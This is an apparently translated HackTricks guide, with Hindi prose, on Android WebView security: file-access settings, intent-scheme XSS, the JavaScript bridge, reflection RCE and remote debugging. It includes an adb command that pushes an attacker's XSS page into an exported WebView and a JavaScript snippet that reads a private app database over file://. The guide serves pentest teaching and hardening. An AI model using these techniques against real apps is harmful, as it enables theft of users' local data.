# Webview Attacks {{#include ../../banners/hacktricks-training.md}} ## Guide on WebView Configurations and Security ### Overview of WebView Vulnerabilities Android विकास का एक महत्वपूर्ण पहलू WebViews का सही प्रबंधन करना है। यह गाइड WebView उपयोग से संबंधित जोखिमों को कम करने के लिए प्रमुख कॉन्फ़िगरेशन और सुरक्षा प्रथाओं को उजागर करता है। ![WebView Example](<../../images/image (1190).png>) ### **File Access in WebViews** डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह कार्यक्षमता `setAllowFileAccess()` विधि द्वारा नियंत्रित होती है, जो Android API स्तर 3 (Cupcake 1.5) से उपलब्ध है। **android.permission.READ_EXTERNAL_STORAGE** अनुमति वाले एप्लिकेशन फ़ाइल URL स्कीम (`file://path/to/file`) का उपयोग करके बाहरी संग्रहण से फ़ाइलें पढ़ सकते हैं। #### **Deprecated Features: Universal and File Access From URLs** - **Universal Access From File URLs**: यह अप्रचलित विशेषता फ़ाइल URLs से क्रॉस-ओरिजिन अनुरोधों की अनुमति देती थी, जो संभावित XSS हमलों के कारण महत्वपूर्ण सुरक्षा जोखिम पैदा करती थी। डिफ़ॉल्ट सेटिंग Android Jelly Bean और नए संस्करणों के लिए अक्षम (`false`) है। - इस सेटिंग की जांच करने के लिए, `getAllowUniversalAccessFromFileURLs()` का उपयोग करें। - इस सेटिंग को संशोधित करने के लिए, `setAllowUniversalAccessFromFileURLs(boolean)` का उपयोग करें। - **File Access From File URLs**: यह विशेषता, जो भी अप्रचलित है, अन्य फ़ाइल स्कीम URLs से सामग्री तक पहुँच को नियंत्रित करती थी। सार्वभौमिक पहुँच की तरह, इसकी डिफ़ॉल्ट सेटिंग सुरक्षा बढ़ाने के लिए अक्षम है। - जांचने के लिए `getAllowFileAccessFromFileURLs()` का उपयोग करें और सेट करने के लिए `setAllowFileAccessFromFileURLs(boolean)` का उपयोग करें। #### **Secure File Loading** फ़ाइल सिस्टम एक्सेस को अक्षम करने के लिए जबकि फिर भी संपत्तियों और संसाधनों तक पहुँच प्राप्त करने के लिए, `setAllowFileAccess()` विधि का उपयोग किया जाता है। Android R और उसके ऊपर, डिफ़ॉल्ट सेटिंग `false` है। - जांचें `getAllowFileAccess()` के साथ। - सक्षम या अक्षम करें `setAllowFileAccess(boolean)` के साथ। #### **WebViewAssetLoader** **WebViewAssetLoader** क्लास स्थानीय फ़ाइलों को लोड करने के लिए आधुनिक दृष्टिकोण है। यह स्थानीय संपत्तियों और संसाधनों तक पहुँच के लिए http(s) URLs का उपयोग करता है, जो Same-Origin नीति के साथ संरेखित होता है, इस प्रकार CORS प्रबंधन को सुविधाजनक बनाता है। ### loadUrl यह एक सामान्य फ़ंक्शन है जिसका उपयोग वेबव्यू में मनमाने URLs को लोड करने के लिए किया जाता है: ```java webview.loadUrl("") ``` Ofc, एक संभावित हमलावर को कभी भी **URL** को नियंत्रित करने में सक्षम नहीं होना चाहिए जिसे एक एप्लिकेशन लोड करने जा रहा है। ### **JavaScript और Intent Scheme हैंडलिंग** - **JavaScript**: WebViews में डिफ़ॉल्ट रूप से अक्षम होता है, इसे `setJavaScriptEnabled()` के माध्यम से सक्षम किया जा सकता है। सावधानी बरती जानी चाहिए क्योंकि उचित सुरक्षा उपायों के बिना JavaScript को सक्षम करने से सुरक्षा कमजोरियाँ उत्पन्न हो सकती हैं। - **Intent Scheme**: WebViews `intent` स्कीम को संभाल सकते हैं, यदि सावधानी से प्रबंधित नहीं किया गया तो यह शोषण की संभावना पैदा कर सकता है। एक उदाहरण की कमजोरी में एक एक्सपोज़्ड WebView पैरामीटर "support_url" शामिल था जिसे क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को निष्पादित करने के लिए शोषित किया जा सकता था। ![Vulnerable WebView](<../../images/image (1191).png>) adb का उपयोग करके शोषण का उदाहरण: ```bash adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html" ``` ### Javascript Bridge Android द्वारा एक विशेषता प्रदान की गई है जो **JavaScript** को एक WebView में **स्थानीय Android ऐप कार्यों** को कॉल करने की अनुमति देती है। यह `addJavascriptInterface` विधि का उपयोग करके प्राप्त किया जाता है, जो JavaScript को स्थानीय Android कार्यक्षमताओं के साथ एकीकृत करता है, जिसे _WebView JavaScript bridge_ कहा जाता है। सावधानी बरतने की सलाह दी जाती है क्योंकि यह विधि WebView के भीतर सभी पृष्ठों को पंजीकृत JavaScript इंटरफ़ेस ऑब्जेक्ट तक पहुँचने की अनुमति देती है, यदि संवेदनशील जानकारी इन इंटरफ़ेस के माध्यम से उजागर होती है तो यह सुरक्षा जोखिम पैदा कर सकती है। - **अत्यधिक सावधानी की आवश्यकता है** उन ऐप्स के लिए जो Android संस्करण 4.2 से नीचे लक्षित करते हैं, क्योंकि एक भेद्यता है जो दुर्भावनापूर्ण JavaScript के माध्यम से दूरस्थ कोड निष्पादन की अनुमति देती है, जो परावर्तन का लाभ उठाती है। #### Implementing a JavaScript Bridge - **JavaScript इंटरफ़ेस** स्थानीय कोड के साथ बातचीत कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ एक वर्ग विधि को JavaScript के लिए उजागर किया गया है: ```javascript @JavascriptInterface public String getSecret() { return "SuperSecretPassword"; }; ``` - JavaScript ब्रिज को WebView में एक इंटरफ़ेस जोड़कर सक्षम किया जाता है: ```javascript webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge") webView.reload() ``` - JavaScript के माध्यम से संभावित शोषण, उदाहरण के लिए, XSS हमले के माध्यम से, उजागर किए गए Java विधियों को कॉल करने की अनुमति देता है: ```html ``` - जोखिमों को कम करने के लिए, **JavaScript ब्रिज उपयोग को** APK के साथ भेजे गए कोड तक सीमित करें और दूरस्थ स्रोतों से JavaScript लोड करने से रोकें। पुराने उपकरणों के लिए, न्यूनतम API स्तर को 17 पर सेट करें। ### रिफ्लेक्शन-आधारित रिमोट कोड निष्पादन (RCE) - एक प्रलेखित विधि RCE प्राप्त करने की अनुमति देती है जो एक विशिष्ट पेलोड को निष्पादित करके रिफ्लेक्शन के माध्यम से होती है। हालाँकि, `@JavascriptInterface` एनोटेशन अनधिकृत विधि पहुंच को रोकता है, जिससे हमले की सतह सीमित होती है। ### रिमोट डिबगिंग - **रिमोट डिबगिंग** **Chrome Developer Tools** के साथ संभव है, जो WebView सामग्री के भीतर बातचीत और मनमाने JavaScript निष्पादन की अनुमति देता है। #### रिमोट डिबगिंग सक्षम करना - एक एप्लिकेशन के भीतर सभी WebViews के लिए रिमोट डिबगिंग को सक्षम किया जा सकता है: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { WebView.setWebContentsDebuggingEnabled(true); } ``` - एप्लिकेशन की डिबग करने योग्य स्थिति के आधार पर शर्तीय रूप से डिबगिंग सक्षम करने के लिए: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) { WebView.setWebContentsDebuggingEnabled(true); } } ``` ## मनमाने फ़ाइलों को निकालना - XMLHttpRequest का उपयोग करके मनमाने फ़ाइलों के निष्कासन का प्रदर्शन करता है: ```javascript var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { alert(xhr.responseText) } } xhr.open( "GET", "file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db", true ) xhr.send(null) ``` ## संदर्भ - [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html) - [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android) - [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView) - [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1) - [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I) {{#include ../../banners/hacktricks-training.md}}